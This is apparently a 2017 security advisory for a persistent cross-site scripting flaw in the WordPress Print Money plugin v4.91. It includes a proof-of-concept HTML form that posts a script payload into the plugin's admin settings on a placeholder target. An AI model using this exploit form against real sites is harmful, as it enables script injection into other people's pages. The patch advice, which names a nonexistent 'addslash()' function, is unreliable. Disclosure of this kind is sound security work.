WordPress Print Money v4.91 Plugin Persistent Cross Site Scripting

2017.03.14
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

----------------------------------------- - Credit : Ashiyane Digital Security Team - Website : Www.Ashiyane.Org - Discovered By : ZeroDay - Release Date : March 13 , 2017 - Level : Low ----------------------------------------- I.Vulnerability --------------- WordPress Print Money v4.91 Plugin Persistent Cross Site Scripting II.BackGround ------------- Print Money is a WordPress Plugin That Make a Button To Any WordPress Image To Enable Your Visitors To Buy Prints III.DESCRIPTION ---------------- Has been Detected a Persistent XSS Vulnerability In Print Money, That Allows The Execution Of Arbitrary HTML/script Code To Be Executed In The Context Of The Victim User's Browser. IV.PROOF OF CONCEPT EXPLOIT --------------------------- <html> <body> <form action="http://<target>/wp-admin/admin.php?page=print-money" method="POST"> <input type="hidden" name="button_text" value=""><script>alert("XSS By ZeroDay");</script>" /> <input type="hidden" name="img-print-btn-cats-update" value="Update" /> <input type="hidden" name="button_text_color" value="%23fff" /> <input type="hidden" name="button_bg_color" value="%%23000" /> <input type="hidden" name="position" value="top-left" /> <input type="hidden" name="container" value="entry-content%2Celements-box%2Cthn_post_wrap%2Clist-inline%2Cblog%2Cpost%2Cpost-content%2Centry%2Centry-summary%2Cgroup%2Ccontent%2Ccontent_constrain%2Cpage-content%2Cpage-content%2Crow%2Ctp-single-post%2Cbody%2Cthe-content%2Cwrapper%2Chentry" /> <input type="hidden" name="updateSubmit" value="Update" /> <input type="submit" value="Run Attack !" /> </form> </body> </html> V.SYSTEM AFFECTED ----------------- Print Money <= 4.91 VI.SOLUTION ----------- You Can Use Filter function Like As htmlspecialchars() , addslash() , htmlentities() To Patch This Vulnerability VII. REFERENCES ------------------------- https://wordpress.org/plugins/print-money/ VIII. CREDITS ------------------------- This Vulnerability Has Been Discovered By ZeroDay IX. ABOUT ------------------------- ZeroDay Researcher , Pentester

References:

https://wordpress.org/plugins/print-money/


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